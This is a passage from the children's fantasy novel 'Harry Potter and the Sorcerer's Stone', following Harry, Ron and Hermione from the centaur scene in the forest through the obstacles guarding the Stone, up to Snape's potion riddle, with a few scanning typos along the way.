"I'm sure Firenze thought he was +acting for the best, " he said in his gloomy voice. + +Bane kicked his back legs in anger. + +"For the best! What is that to do with us? Centaurs are concerned with +what has been foretold! It is not our business to run around like +donkeys after stray humans in our forest!" + +Firenze suddenly reared on to his hind legs in anger, so that Harry had +to grab his shoulders to stay on. + +"Do you not see that unicorn?" Firenze bellowed at Bane. "Do you not +understand why it was killed? Or have the planets not let you in on that +secret? I set myself against what is lurking in this forest, Bane, yes, +with humans alongside me if I must." + +And Firenze whisked around; with Harry clutching on as best he could, +they plunged off into the trees, leaving Ronan and Bane behind them. + +Harry didn't have a clue what was going on. + +"Why's Bane so angry?" he asked. "What was that thing you saved me from, +anyway?" + +Firenze slowed to a walk, warned Harry to keep his head bowed in case of +low-hanging branches, but did not answer Harry's question. They made +their way through the trees in silence for so long that Harry thought +Firenze didn't want to talk to him anymore. They were passing through a +particularly dense patch of trees, however, when Firenze suddenly +stopped. + +"Harry Potter, do you know what unicorn blood is used -for?" + +"No," said Harry, startled by the odd question. "We've only used the +horn and tail hair in Potions." + +"That is because it is a monstrous thing, to slay a unicorn," said +Firenze. "Only one who has nothing to lose, and everything to gain, +would commit such a crime. The blood of a unicorn will keep you alive, +even if you are an inch from death, but at a terrible price. You have +slain something pure and defenseless to save yourself, and you will have +but a half-life, a cursed life, from the moment the blood touches your +lips." + +Harry stared at the back of Firenze's head, which was dappled silver in +the moonlight. + +"But who'd be that desperate?" he wondered aloud. "If you're going to be +cursed forever, deaths better, isn't it?" + +"It is," Firenze agreed, "unless all you need is to stay alive long +enough to drink something else -- something that will bring you back to +full strength and power -- something that will mean you can never die. +Mr. Potter, do you know what is hidden in the school at this very +moment?" + +"The Sorcerer's Stone! Of course -- the Elixir of Life! But I don't +understand who --" + +"Can you think of nobody who has waited many years to return to power, +who has clung to life, awaiting their chance?" + +It was as though an iron fist had clenched suddenly around Harry's +heart. Over the rustling of the trees, he seemed to hear once more what +Hagrid had told him on the night they had met: "Some say he died. +Codswallop, in my opinion. Dunno if he had enough human left in him to +die." + +"Do you mean," Harry croaked, "that was Vol-" + +"Harry! Harry, are you all right?" + +Hermione was running toward them down the path, Hagrid puffing along +behind her. + +"I'm fine," said Harry, hardly knowing what he was saying. "The +unicorn's dead, Hagrid, it's in that clearing back there." + +"This is where I leave you," Firenze murmured as Hagrid hurried off to +examine the unicorn. "You are safe now." + +Harry slid off his back. + +"Good luck, Harry Potter," said Firenze. "The planets have been read +wrongly before now, even by centaurs. I hope this is one of those +times." + +He turned and cantered back into the depths of the forest, leaving Harry +shivering behind him. + +Ron had fallen asleep in the dark common room, waiting for them to +return. He shouted something about Quidditch fouls when Harry roughly +shook him awake. In a matter of seconds, though, he was wide-eyed as +Harry began to tell him and Hermione what had happened in the forest. + +Harry couldn't sit down. He paced up and down in front of the fire. He +was still shaking. + +"Snape wants the stone for Voldemort... and Voldemort's waiting in the +forest... and all this time we thought Snape just wanted to get +rich...." + +"Stop saying the name!" said Ron in a terrified whisper, as if he +thought Voldemort could hear them. + +Harry wasn't listening. + +"Firenze saved me, but he shouldn't have done so.... Bane was furious... +he was talking about interfering with what the planets say is going to +happen.... They must show that Voldemort's coming back.... Bane thinks +Firenze should have let Voldemort kill me.... I suppose that's written +in the stars as well." + +"Will you stop saying the name!" Ron hissed. + +"So all I've got to wait for now is Snape to steal the Stone," Harry +went on feverishly, "then Voldemort will be able to come and finish me +off... Well, I suppose Bane'll be happy." + +Hermione looked very frightened, but she had a word of comfort. + +"Harry, everyone says Dumbledore's the only one You-Know-Who was ever +afraid of With Dumbledore around, You-Know-Who won't touch you. Anyway, +who says the centaurs are right? It sounds like fortune-telling to me, +and Professor McGonagall says that's a very imprecise branch of magic." + +The sky had turned light before they stopped talking. They went to bed +exhausted, their throats sore. But the night's surprises weren't over. + +When Harry pulled back his sheets, he found his invisibility cloak +folded neatly underneath them. There was a note pinned to it: + +Just in case. + + +CHAPTER SIXTEEN + +THROUGH THE TRAPDOOR + +In years to come, Harry would never quite remember how he had managed to +get through his exams when he half expected Voldemort to come bursting +through the door at any moment. Yet the days crept by, and there could +be no doubt that Fluffy was still alive and well behind the locked door. + +It was sweltering hot, especially in the large classroom where they did +their written papers. They had been given special, new quills for the +exams, which had been bewitched with an AntiCheating spell. + +They had practical exams as well. Professor Flitwick called them one by +one into his class to see if they could make a pineapple tapdance across +a desk. Professor McGonagall watched them turn a mouse into a snuffbox +-- points were given for how pretty the snuffbox was, but taken away if +it had whiskers. Snape made them all nervous, breathing down their necks +while they tried to remember how to make a Forgetfulness potion. + +Harry did the best he could, trying to ignore the stabbing pains in his +forehead, which had been bothering him ever since his trip into the +forest. Neville thought Harry had a bad case of exam nerves because +Harry couldn't sleep, but the truth was that Harry kept being woken by +his old nightmare, except that it was now worse than ever because there +was a hooded figure dripping blood in it. + +Maybe it was because they hadn't seen what Harry had seen in the forest, +or because they didn't have scars burning on their foreheads, but Ron +and Hermione didn't seem as worried about the Stone as Harry. The idea +of Voldemort certainly scared them, but he didn't keep visiting them in +dreams, and they were so busy with their studying they didn't have much +time to fret about what Snape or anyone else might be up to. + +Their very last exam was History of Magic. One hour of answering +questions about batty old wizards who'd invented selfstirring cauldrons +and they'd be free, free for a whole wonderful week until their exam +results came out. When the ghost of Professor Binns told them to put +down their quills and roll up their parchment, Harry couldn't help +cheering with the rest. + +"That was far easier than I thought it would be," said Hermione as they +joined the crowds flocking out onto the sunny grounds. "I needn't have +learned about the 1637 Werewolf Code of Conduct or the uprising of +Elfric the Eager." + +Hermione always liked to go through their exam papers afterward, but Ron +said this made him feel ill, so they wandered down to the lake and +flopped under a tree. The Weasley twins and Lee Jordan were tickling the +tentacles of a giant squid, which was basking in the warm shallows. "No +more studying," Ron sighed happily, stretching out on the grass. "You +could look more cheerful, Harry, we've got a week before we find out how +badly we've done, there's no need to worry yet." + +Harry was rubbing his forehead. + +"I wish I knew what this means!" he burst out angrily. "My scar keeps +hurting -- it's happened before, but never as often as this." + +"Go to Madam Pomfrey," Hermione suggested. + +"I'm not ill," said Harry. "I think it's a warning... it means danger's +coming...." + +Ron couldn't get worked up, it was too hot. + +"Harry, relax, Hermione's right, the Stone's safe as long as +Dumbledore's around. Anyway, we've never had any proof Snape found out +how to get past Fluffy. He nearly had his leg ripped off once, he's not +going to try it again in a hurry. And Neville will play Quidditch for +England before Hagrid lets Dumbledore down." + +Harry nodded, but he couldn't shake off a lurking feeling that there was +something he'd forgotten to do, something important. When he tried to +explain this, Hermione said, "That's just the exams. I woke up last +night and was halfway through my Transfiguration notes before I +remembered we'd done that one." + +Harry was quite sure the unsettled feeling didn't have anything to do +with work, though. He watched an owl flutter toward the school across +the bright blue sky, a note clamped in its mouth. Hagrid was the only +one who ever sent him letters. Hagrid would never betray Dumbledore. +Hagrid would never tell anyone how to get past Fluffy... never... but -- + +Harry suddenly jumped to his feet. + +"Where're you going?" said Ron sleepily. + +"I've just thought of something," said Harry. He had turned white. +"We've got to go and see Hagrid, now." + +"Why?" panted Hermione, hurrying to keep up. + +"Don't you think it's a bit odd," said Harry, scrambling up the grassy +slope, "that what Hagrid wants more than anything else is a dragon, and +a stranger turns up who just happens to have an egg in his pocket? How +many people wander around with dragon eggs if it's against wizard law? +Lucky they found Hagrid, don't you think? Why didn't I see it before?" + +"What are you talking about?" said Ron, but Harry, sprinting across the +grounds toward the forest, didn't answer. + +Hagrid was sitting in an armchair outside his house; his trousers and +sleeves were rolled up, and he was shelling peas into a large bowl. + +"Hullo," he said, smiling. "Finished yer exams? Got time fer a drink?" + +"Yes, please," said Ron, but Harry cut him off. + +"No, we're in a hurry. Hagrid, I've got to ask you something. You know +that night you won Norbert? What did the stranger you were playing cards +with look like?" + +"Dunno," said Hagrid casually, "he wouldn' take his cloak off." + +He saw the three of them look stunned and raised his eyebrows. + +"It's not that unusual, yeh get a lot o' funny folk in the Hog's Head -- +that's the pub down in the village. Mighta bin a dragon dealer, mightn' +he? I never saw his face, he kept his hood up." + +Harry sank down next to the bowl of peas. "What did you talk to him +about, Hagrid? Did you mention Hogwarts at all?" + +"Mighta come up," said Hagrid, frowning as he tried to remember. +"Yeah... he asked what I did, an' I told him I was gamekeeper here.... +He asked a bit about the sorta creatures I took after... so I told +him... an' I said what I'd always really wanted was a dragon... an' +then... I can' remember too well, 'cause he kept buyin' me drinks.... +Let's see... yeah, then he said he had the dragon egg an' we could play +cards fer it if I wanted... but he had ter be sure I could handle it, he +didn' want it ter go ter any old home.... So I told him, after Fluffy, a +dragon would be easy..." + +"And did he -- did he seem interested in Fluffy?" Harry asked, try ing +to keep his voice calm. + +"Well -- yeah -- how many three-headed dogs d'yeh meet, even around +Hogwarts? So I told him, Fluffy's a piece o' cake if yeh know how to +calm him down, jus' play him a bit o' music an' he'll go straight off +ter sleep --" + +Hagrid suddenly looked horrified. + +"I shouldn'ta told yeh that!" he blurted out. "Forget I said it! Hey -- +where're yeh goin'?" + +Harry, Ron, and Hermione didn't speak to each other at all until they +came to a halt in the entrance hall, which seemed very cold and gloomy +after the grounds. + +"We've got to go to Dumbledore," said Harry. "Hagrid told that stranger +how to get past Fluffy, and it was either Snape or Voldemort under that +cloak -- it must've been easy, once he'd got Hagrid drunk. I just hope +Dumbledore believes us. Firenze might back us up if Bane doesn't stop +him. Where's Dumbledore's office?" + +They looked around, as if hoping to see a sign pointing them in the +right direction. They had never been told where Dumbledore lived, nor +did they know anyone who had been sent to see him. + +"We'll just have to --" Harry began, but a voice suddenly rang across +the hall. + +"What are you three doing inside?" + +It was Professor McGonagall, carrying a large pile of books. + +"We want to see Professor Dumbledore," said Hermione, rather bravely, +Harry and Ron thought. + +"See Professor Dumbledore?" Professor McGonagall repeated, as though +this was a very fishy thing to want to do. "Why?" + +Harry swallowed -- now what? + +"It's sort of secret," he said, but he wished at once he hadn't, because +Professor McGonagall's nostrils flared. + +"Professor Dumbledore left ten minutes ago," she said coldly. "He +received an urgent owl from the Ministry of Magic and flew off for +London at once." + +"He's gone?" said Harry frantically. "Now?" + +"Professor Dumbledore is a very great wizard, Potter, he has many +demands on his time -- + +"But this is important." + +"Something you have to say is more important than the Ministry of Magic, +Potter. + +"Look," said Harry, throwing caution to the winds, "Professor -- it's +about the Sorcerer's tone --" + +Whatever Professor McGonagall had expected, it wasn't that. The books +she was carrying tumbled out of her arms, but she didn't pick them up. +"How do you know --?" she spluttered. + +"Professor, I think -- I know -- that Sn- that someone's going to try +and steal the Stone. I've got to talk to Professor Dumbledore." + +She eyed him with a mixture of shock and suspicion. + +"Professor Dumbledore will be back tomorrow," she said finally. I don't +know how you found out about the Stone, but rest assured, no one can +possibly steal it, it's too well protected." + +"But Professor --" + +"Potter, I know what I'm talking about," she said shortly. She bent down +and gathered up the fallen books. I suggest you all go back outside and +enjoy the sunshine." + +But they didn't. + +"It's tonight," said Harry, once he was sure Professor McGonagall was +out of earshot. "Snape's going through the trapdoor tonight. He's found +out everything he needs, and now he's got Dumbledore out of the way. He +sent that note, I bet the Ministry of Magic will get a real shock when +Dumbledore turns up." + +"But what can we --" + +Hermione gasped. Harry and Ron wheeled round. + +Snape was standing there. + +"Good afternoon," he said smoothly. + +They stared at him. + +"You shouldn't be inside on a day like this," he said, with an odd, +twisted smile. + +"We were --" Harry began, without any idea what he was going to say. + +"You want to be more careful," said Snape. "Hanging around + +like this, people will think you're up to something. And Gryffindor +really can't afford to lose any more points, can it?" + +Harry flushed. They turned to go outside, but Snape called them back. + +"Be warned, Potter -- any more nighttime wanderings and I will +personally make sure you are expelled. Good day to you." + +He strode off in the direction of the staffroom. + +Out on the stone steps, Harry turned to the others. + +"Right, here's what we've got to do," he whispered urgently. "One of us +has got to keep an eye on Snape -- wait outside the staff room and +follow him if he leaves it. Hermione, you'd better do that." + +"Why me?" + +"It's obvious," said Ron. "You can pretend to be waiting for Professor +Flitwick, you know." He put on a high voice, "'Oh Professor Flitwick, +I'm so worried, I think I got question fourteen b wrong....'" + +"Oh, shut up," said Hermione, but she agreed to go and watch out for +Snape. + +"And we'd better stay outside the third-floor corridor," Harry told Ron. +"Come on." + +But that part of the plan didn't work. No sooner had they reached the +door separating Fluffy from the rest of the school than Professor +McGonagall turned up again and this time, she lost her temper. + +"I suppose you think you're harder to get past than a pack of +enchantments!" she stormed. "Enough of this nonsense! If I hear you 've +come anywhere near here again, I'll take another fifty points from +Gryffindor! Yes, Weasley, from my own house!" Harry and Ron went back to +the common room, Harry had just said, "At least Hermione's on Snape's +tail," when the portrait of the Fat Lady swung open and Hermione came +in. + +"I'm sorry, Harry!" she wailed. "Snape came out and asked me what I was +doing, so I said I was waiting for Flitwick, and Snape went to get him, +and I've only just got away, I don't know where Snape went." + +"Well, that's it then, isn't it?" Harry said. + +The other two stared at him. He was pale and his eyes were glittering. + +"I'm going out of here tonight and I'm going to try and get to the Stone +first." + +"You're mad!" said Ron. + +"You can't!" said Hermione. "After what McGonagall and Snape have said? +You'll be expelled!" + +"SO WHAP" Harry shouted. "Don't you understand? If Snape gets hold of +the Stone, Voldemort's coming back! Haven't you heard what it was like +when he was trying to take over? There won't be any Hogwarts to get +expelled from! He'll flatten it, or turn it into a school for the Dark +Arts! Losing points doesn't matter anymore, can't you see? D'you think +he'll leave you and your families alone if Gryffindor wins the house +cup? If I get caught before I can get to the Stone, well, I'll have to +go back to the Dursleys and wait for Voldemort to find me there, it's +only dying a bit later than I would have, because I'm never going over +to the Dark Side! I'm going through that trapdoor tonight and nothing +you two say is going to stop me! Voldemort killed my parents, remember?" + +He glared at them. + +"You're right Harry," said Hermione in a small voice. + +"I'll use the invisibility cloak," said Harry. "It's just lucky I got it +back." + +"But will it cover all three of us?" said Ron. + +"All -- all three of us?" + +"Oh, come off it, you don't think we'd let you go alone?" + +"Of course not," said Hermione briskly. "How do you think you'd get to +the Stone without us? I'd better go and took through my books, there +might be something useful..." + +"But if we get caught, you two will be expelled, too." + +"Not if I can help it," said Hermione grimly. "Flitwick told me in +secret that I got a hundred and twelve percent on his exam. They're not +throwing me out after that." + +After dinner the three of them sat nervously apart in the common room. +Nobody bothered them; none of the Gryffindors had anything to say to +Harry any more, after all. This was the first night he hadn't been upset +by it. Hermione was skimming through all her notes, hoping to come +across one of the enchantments they were about to try to break. Harry +and Ron didn't talk much. Both of them were thinking about what they +were about to do. + +Slowly, the room emptied as people drifted off to bed. + +"Better get the cloak," Ron muttered, as Lee Jordan finally left, +stretching and yawning. Harry ran upstairs to their dark dormitory. He +putted out the cloak and then his eyes fell on the flute Hagrid had +given him for Christmas. He pocketed it to use on Fluffy -- he didn't +feel much like singing. + +He ran back down to the common room. + +"We'd better put the cloak on here, and make sure it covers all three of +us -- if Filch spots one of our feet wandering along on its own --" + +"What are you doing?" said a voice from the corner of the room. Neville +appeared from behind an armchair, clutching Trevor the toad, who looked +as though he'd been making another bid for freedom. + +"Nothing, Neville, nothing," said Harry, hurriedly putting the cloak +behind his back. + +Neville stared at their guilty faces. + +"You're going out again," he said. + +"No, no, no," said Hermione. "No, we're not. Why don't you go to bed, +Neville?" + +Harry looked at the grandfather clock by the door. They couldn't afford +to waste any more time, Snape might even now be playing Fluffy to sleep. + +"You can't go out," said Neville, "you'll be caught again. Gryffindor +will be in even more trouble." + +"You don't understand," said Harry, "this is important." + +But Neville was clearly steeling himself to do something desperate. + +I won't let you do it," he said, hurrying to stand in front of the +portrait hole. "I'll -- I'll fight you!" + +"Neville, "Ron exploded, "get away from that hole and don't be an idiot +--" + +"Don't you call me an idiot!" said Neville. I don't think you should be +breaking any more rules! And you were the one who told me to stand up to +people!" + +"Yes, but not to us," said Ron in exasperation. "Neville, you don't know +what you're doing." + +He took a step forward and Neville dropped Trevor the toad, who leapt +out of sight. + +"Go on then, try and hit me!" said Neville, raising his fists. "I'm +ready!" + +Harry turned to Hermione. + +"Do something," he said desperately. + +Hermione stepped forward. + +"Neville," she said, "I'm really, really sorry about this." + +She raised her wand. + +"Petrificus Totalus!" she cried, pointing it at Neville. + +Neville's arms snapped to his sides. His legs sprang together. His whole +body rigid, he swayed where he stood and then fell flat on his face, +stiff as a board. + +Hermione ran to turn him over. Neville's jaws were jammed together so he +couldn't speak. Only his eyes were moving, looking at them in horror. + +"What've you done to him?" Harry whispered. + +"It's the full Body-Bind," said Hermione miserably. "Oh, Neville, I'm so +sorry." + +"We had to, Neville, no time to explain," said Harry. + +"You'll understand later, Neville," said Ron as they stepped over him +and pulled on the invisibility cloak. + +But leaving Neville lying motionless on the floor didn't feel like a +very good omen. In their nervous state, every statue's shadow looked +like Filch, every distant breath of wind sounded like Peeves swooping +down on them. At the foot of the first set of stairs, they spotted Mrs. +Norris skulking near the top. + +"Oh, let's kick her, just this once," Ron whispered in Harry's ear, but +Harry shook his head. As they climbed carefully around her, Mrs. Norris +turned her lamplike eyes on them, but didn't do anything. + +They didn't meet anyone else until they reached the staircase up to the +third floor. Peeves was bobbing halfway up, loosening the carpet so that +people would trip. + +"Who's there?" he said suddenly as they climbed toward him. He narrowed +his wicked black eyes. "Know you're there, even if I can't see you. Are +you ghoulie or ghostie or wee student beastie?" + +He rose up in the air and floated there, squinting at them. + +"Should call Filch, I should, if something's a-creeping around unseen." + +Harry had a sudden idea. + +"Peeves," he said, in a hoarse whisper, "the Bloody Baron has his own +reasons for being invisible." + +Peeves almost fell out of the air in shock. He caught himself in time +and hovered about a foot off the stairs. + +"So sorry, your bloodiness, Mr. Baron, Sir," he said greasily. "My +mistake, my mistake -- I didn't see you -- of course I didn't, you're +invisible -- forgive old Peevsie his little joke, sir." + +"I have business here, Peeves," croaked Harry. "Stay away from this +place tonight." + +"I will, sir, I most certainly will," said Peeves, rising up in the air +again. "Hope your business goes well, Baron, I'll not bother you." + +And he scooted off + +"Brilliant, Harry!" whispered Ron. + +A few seconds later, they were there, outside the third-floor corridor +-- and the door was already ajar. + +"Well, there you are," Harry said quietly, "Snape's already got past +Fluffy." + +Seeing the open door somehow seemed to impress upon all three of them +what was facing them. Underneath the cloak, Harry turned to the other +two. + +"If you want to go back, I won't blame you," he said. "You can take the +cloak, I won't need it now." + +"Don't be stupid," said Ron. + +"We're coming," said Hermione. + +Harry pushed the door open. + +As the door creaked, low, rumbling growls met their ears. All three of +the dog's noses sniffed madly in their direction, even though it +couldn't see them. + +"What's that at its feet?" Hermione whispered. + +"Looks like a harp," said Ron. "Snape must have left it there." + +"It must wake up the moment you stop playing," said Harry. "Well, here +goes..." + +He put Hagrid's flute to his lips and blew. It wasn't really a tune, but +from the first note the beast's eyes began to droop. Harry hardly drew +breath. Slowly, the dog's growls ceased -- it tottered on its paws and +fell to its knees, then it slumped to the ground, fast asleep. + +"Keep playing," Ron warned Harry as they slipped out of the cloak and +crept toward the trapdoor. They could feel the dog's hot, smelly breath +as they approached the giant heads. "I think we'll be able to pull the +door open," said Ron, peering over the dog's back. "Want to go first, +Hermione?" + +"No, I don't!" + +"All right." Ron gritted his teeth and stepped carefully over the dog's +legs. He bent and pulled the ring of the trapdoor, which swung up and +open. + +"What can you see?" Hermione said anxiously. + +"Nothing -- just black -- there's no way of climbing down, we'll just +have to drop." + +Harry, who was still playing the flute, waved at Ron to get his +attention and pointed at himself. + +"You want to go first? Are you sure?" said Ron. "I don't know how deep +this thing goes. Give the flute to Hermione so she can keep him asleep." + +Harry handed the flute over. In the few seconds' silence, the dog +growled and twitched, but the moment Hermione began to play, it fell +back into its deep sleep. + +Harry climbed over it and looked down through the trapdoor. There was no +sign of the bottom. + +He lowered himself through the hole until he was hanging on by his +fingertips. Then he looked up at Ron and said, "If anything happens to +me, don't follow. Go straight to the owlery and send Hedwig to +Dumbledore, right?" + +"Right," said Ron. + +"See you in a minute, I hope... + +And Harry let go. Cold, damp air rushed past him as he fell down, down, +down and -- FLUMP. With a funny, muffled sort of thump he landed on +something soft. He sat up and felt around, his eyes not used to the +gloom. It felt as though he was sitting on some sort of plant. + +"It's okay!" he called up to the light the size of a postage stamp, +which was the open trapdoor, "it's a soft landing, you can jump!" + +Ron followed right away. He landed, sprawled next to Harry. + +"What's this stuff?" were his first words. + +"Dunno, some sort of plant thing. I suppose it's here to break the fall. +Come on, Hermione!" + +The distant music stopped. There was a loud bark from the dog, but +Hermione had already jumped. She landed on Harry's other side. + +"We must be miles under the school , she said. + +"Lucky this plant thing's here, really," said Ron. + +"Lucky!" shrieked Hermione. "Look at you both!" + +She leapt up and struggled toward a damp wall. She had to struggle +because the moment she had landed, the plant had started to twist +snakelike tendrils around her ankles. As for Harry and Ron, their legs +had already been bound tightly in long creepers without their noticing. + +Hermione had managed to free herself before the plant got a firm grip on +her. Now she watched in horror as the two boys fought to pull the plant +off them, but the more they strained against it, the tighter and faster +the plant wound around them. + +"Stop moving!" Hermione ordered them. "I know what this is -- it's +Devil's Snare!" + +"Oh, I'm so glad we know what it's called, that's a great help," snarled +Ron, leaning back, trying to stop the plant from curling around his +neck. "Shut up, I'm trying to remember how to kill it!" said Hermione. + +"Well, hurry up, I can't breathe!" Harry gasped, wrestling with it as it +curled around his chest. + +"Devil's Snare, Devil's Snare... what did Professor Sprout say? -- it +likes the dark and the damp + +"So light a fire!" Harry choked. + +"Yes -- of course -- but there's no wood!" Hermione cried, wringing her +hands. + +"HAVE YOU GONE MAD?" Ron bellowed. "ARE YOU A WITCH OR NOT?" + +"Oh, right!" said Hermione, and she whipped out her wand, waved it, +muttered something, and sent a jet of the same bluebell flames she had +used on Snape at the plant. In a matter of seconds, the two boys felt it +loosening its grip as it cringed away from the light and warmth. +Wriggling and flailing, it unraveled itself from their bodies, and they +were able to pull free. + +"Lucky you pay attention in Herbology, Hermione," said Harry as he +joined her by the wall, wiping sweat off his face. + +"Yeah," said Ron, "and lucky Harry doesn't lose his head in a crisis -- +'there's no wood,' honestly." + +"This way," said Harry, pointing down a stone passageway, which was the +only way forward. + +All they could hear apart from their footsteps was the gentle drip of +water trickling down the walls. The passageway sloped downward, and +Harry was reminded of Gringotts. With an unpleasant jolt of the heart, +he remembered the dragons said to be guarding vaults in the wizards' +bank. If they met a dragon, a fully-grown dragon -- Norbert had been bad +enough... + +"Can you hear something?" Ron whispered. + +Harry listened. A soft rustling and clinking seemed to be coming from up +ahead. + +"Do you think it's a ghost?" + +"I don't know... sounds like wings to me." + +"There's light ahead -- I can see something moving." + +They reached the end of the passageway and saw before them a brilliantly +lit chamber, its ceiling arching high above them. It was full of small, +jewel-bright birds, fluttering and tumbling all around the room. On the +opposite side of the chamber was a heavy wooden door. + +"Do you think they'll attack us if we cross the room?" said Ron. + +"Probably," said Harry. "They don't look very vicious, but I suppose if +they all swooped down at once... well, there's no other choice... I'll +run." + +He took a deep breath, covered his face with his arms, and sprinted +across the room. He expected to feel sharp beaks and claws tearing at +him any second, but nothing happened. He reached the door untouched. He +pulled the handle, but it was locked. + +The other two followed him. They tugged and heaved at the door, but it +wouldn't budge, not even when Hermione tried her Alohomora charm. + +"Now what?" said Ron. + +"These birds... they can't be here just for decoration," said Hermione. + +They watched the birds soaring overhead, glittering -- glittering? + +"They're not birds!" Harry said suddenly. "They're keys! Winged keys -- +look carefully. So that must mean..." he looked around the chamber while +the other two squinted up at the flock of keys. "... yes -- look! +Broomsticks! We've got to catch the key to the door!" + +"But there are hundreds of them!" + +Ron examined the lock on the door. + +"We're looking for a big, old-fashioned one -- probably silver, like the +handle." + +They each seized a broomstick and kicked off into the air, soaring into +the midst of the cloud of keys. They grabbed and snatched, but the +bewitched keys darted and dived so quickly it was almost impossible to +catch one. + +Not for nothing, though, was Harry the youngest Seeker in a century. He +had a knack for spotting things other people didn't. After a minute's +weaving about through the whirl of rainbow feathers, he noticed a large +silver key that had a bent wing, as if it had already been caught and +stuffed roughly into the keyhole. + +"That one!" he called to the others. "That big one -- there -- no, there +-- with bright blue wings -- the feathers are all crumpled on one side." + +Ron went speeding in the direction that Harry was pointing, crashed into +the ceiling, and nearly fell off his broom. + +"We've got to close in on it!" Harry called, not taking his eyes off the +key with the damaged wing. "Ron, you come at it from above -- Hermione, +stay below and stop it from going down and I'll try and catch it. Right, +NOW!" + +Ron dived, Hermione rocketed upward, the key dodged them both, and Harry +streaked after it; it sped toward the wall, Harry leaned forward and +with a nasty, crunching noise, pinned it against the stone with one +hand. Ron and Hermione's cheers echoed around the high chamber. + +They landed quickly, and Harry ran to the door, the key struggling in +his hand. He rammed it into the lock and turned -- it worked. The moment +the lock had clicked open, the key took flight again, looking very +battered now that it had been caught twice. + +"Ready?" Harry asked the other two, his hand on the door handle. They +nodded. He pulled the door open. + +The next chamber was so dark they couldn't see anything at all. But as +they stepped into it, light suddenly flooded the room to reveal an +astonishing sight. + +They were standing on the edge of a huge chessboard, behind the black +chessmen, which were all taller than they were and carved from what +looked like black stone. Facing them, way across the chamber, were the +white pieces. Harry, Ron and Hermione shivered slightly -- the towering +white chessmen had no faces. + +"Now what do we do?" Harry whispered. + +"It's obvious, isn't it?" said Ron. "We've got to play our way across +the room." + +Behind the white pieces they could see another door. + +"How?" said Hermione nervously. + +"I think," said Ron, "we're going to have to be chessmen." + +He walked up to a black knight and put his hand out to touch the +knight's horse. At once, the stone sprang to life. The horse pawed the +ground and the knight turned his helmeted head to look down at Ron. + +"Do we -- er -- have to join you to get across?" The black knight +nodded. Ron turned to the other two. + +"This needs thinking about he said. I suppose we've got to take the +place of three of the black pieces...." + +Harry and Hermione stayed quiet, watching Ron think. Finally he said, +"Now, don't be offended or anything, but neither of you are that good at +chess --" + +"We're not offended," said Harry quickly. "Just tell us what to do." + +"Well, Harry, you take the place of that bishop, and Hermione, YOU 90 +next to him instead of that castle." + +"What about you?" + +"I'm going to be a knight," said Ron. + +The chessmen seemed to have been listening, because at these words a +knight, a bishop, and a castle turned their backs on the white pieces +and walked off the board, leaving three empty squares that Harry, Ron, +and Hermione took. + +"White always plays first in chess," said Ron, peering across the board. +"Yes... look..." + +A white pawn had moved forward two squares. + +Ron started to direct the black pieces. They moved silently wherever he +sent them. Harry's knees were trembling. What if they lost? + +"Harry -- move diagonally four squares to the right." + +Their first real shock came when their other knight was taken. The white +queen smashed him to the floor and dragged him off the board, where he +lay quite still, facedown. + +"Had to let that happen," said Ron, looking shaken. "Leaves you free to +take that bishop, Hermione, go on." + +Every time one of their men was lost, the white pieces showed no mercy. +Soon there was a huddle of limp black players slumped along the wall. +Twice, Ron only just noticed in time that Harry and Hermione were in +danger. He himself darted around the board, taking almost as many white +pieces as they had lost black ones. + +"We're nearly there," he muttered suddenly. "Let me think let me +think..." + +The white queen turned her blank face toward him. + +"Yes..." said Ron softly, "It's the only way... I've got to be taken." + +"NOF Harry and Hermione shouted. + +"That's chess!" snapped Ron. "You've got to make some sacrifices! I take +one step forward and she'll take me -- that leaves you free to checkmate +the king, Harry!" + +"But --" + +"Do you want to stop Snape or not?" + +"Ron --" + +"Look, if you don't hurry up, he'll already have the Stone!" + +There was no alternative. + +"Ready?" Ron called, his face pale but determined. "Here I go - now, +don't hang around once you've won." + +He stepped forward, and the white queen pounced. She struck Ron hard +across the head with her stone arm, and he crashed to the floor - +Hermione screamed but stayed on her square - the white queen dragged Ron +to one side. He looked as if he'd been knocked out. + +Shaking, Harry moved three spaces to the left. + +The white king took off his crown and threw it at Harry's feet. They had +won. The chessmen parted and bowed, leaving the door ahead clear. With +one last desperate look back at Ron, Harry and Hermione charged through +the door and up the next passageway. + +"What if he's --?" + +"He'll be all right," said Harry, trying to convince himself. "What do +you reckon's next?" + +"We've had Sprout's, that was the Devil's Snare; Flitwick must've put +charms on the keys; McGonagall transfigured the chessmen to make them +alive; that leaves Quirrell's spell, and Snape's." + +They had reached another door. + +"All right?" Harry whispered. + +"Go on." + +Harry pushed it open. + +A disgusting smell filled their nostrils, making both of them pull their +robes up over their noses. Eyes watering, they saw, flat on the floor in +front of them, a troll even larger than the one they had tackled, out +cold with a bloody lump on its head. + +"I'm glad we didn't have to fight that one," Harry whispered as they +stepped carefully over one of its massive legs. "Come on, I can't +breathe." + +He pulled open the next door, both of them hardly daring to look at what +came next - but there was nothing very frightening in here, just a table +with seven differently shaped bottles standing on it in a line. + +"Snape's," said Harry. "What do we have to do?" + +They stepped over the threshold, and immediately a fire sprang up behind +them in the doorway. It wasn't ordinary fire either; it was purple. At +the same instant, black flames shot up in the doorway leading onward. +They were trapped. + +"Look!" Hermione seized a roll of paper lying next to the bottles. Harry +looked over her shoulder to read it: + +Danger lies before you, while safety lies behind, + +Two of us will help you, which ever you would find, + +One among us seven will let you move ahead, + +Another will transport the drinker back instead, + +Two among our number hold only nettle wine, + +Three of us are killers, waiting bidden in line. + +Choose, unless you wish to stay here forevermore, + +To help you in your choice, we give you these clues four: + +First, however slyly the poison tries to hide + +You will always find some on nettle wine's left side; + +Second, different are those who stand at either end, + +But if you would move onward, neither is your friend; + +Third, as you see clearly, all are different size, + +Neither dwarf nor giant holds death in their insides; + +Fourth, the second left and the second on the right + +Are twins once you taste them, though different at first sight. + +Hermione let out a great sigh and Harry, amazed, saw that she was +smiling, the very last thing he felt like doing. + +"Brilliant," said Hermione. "This isn't magic -- it's logic -- a puzzle. +A lot of the greatest wizards haven't got an ounce of logic, they'd be +stuck in here forever." + +"But so will we, won't we?" "Of course not," said Hermione. "Everything +we need is here on this paper. Seven bottles: three are poison; two are +wine; one will get us safely through the black fire, and one will get us +back through the purple." + +"But how do we know which to drink?" + +"Give me a minute." + +Hermione read the paper several times. Then she walked up and down the +line of bottles, muttering to herself and pointing at them. At last, she +clapped her hands. + +"Got it," she said. "The smallest bottle will get us through the black +fire -- toward the Stone." + +Harry looked at the tiny bottle. + +"There's only enough there for one of us," he said. "That's hardly one +swallow." + +They looked at each other. + +"Which one will get you back through the purple flames?" + +Hermione pointed at a rounded bottle at the right end of the line. + +"You drink that," said Harry. "No, listen, get back and get Ron. Grab +brooms from the 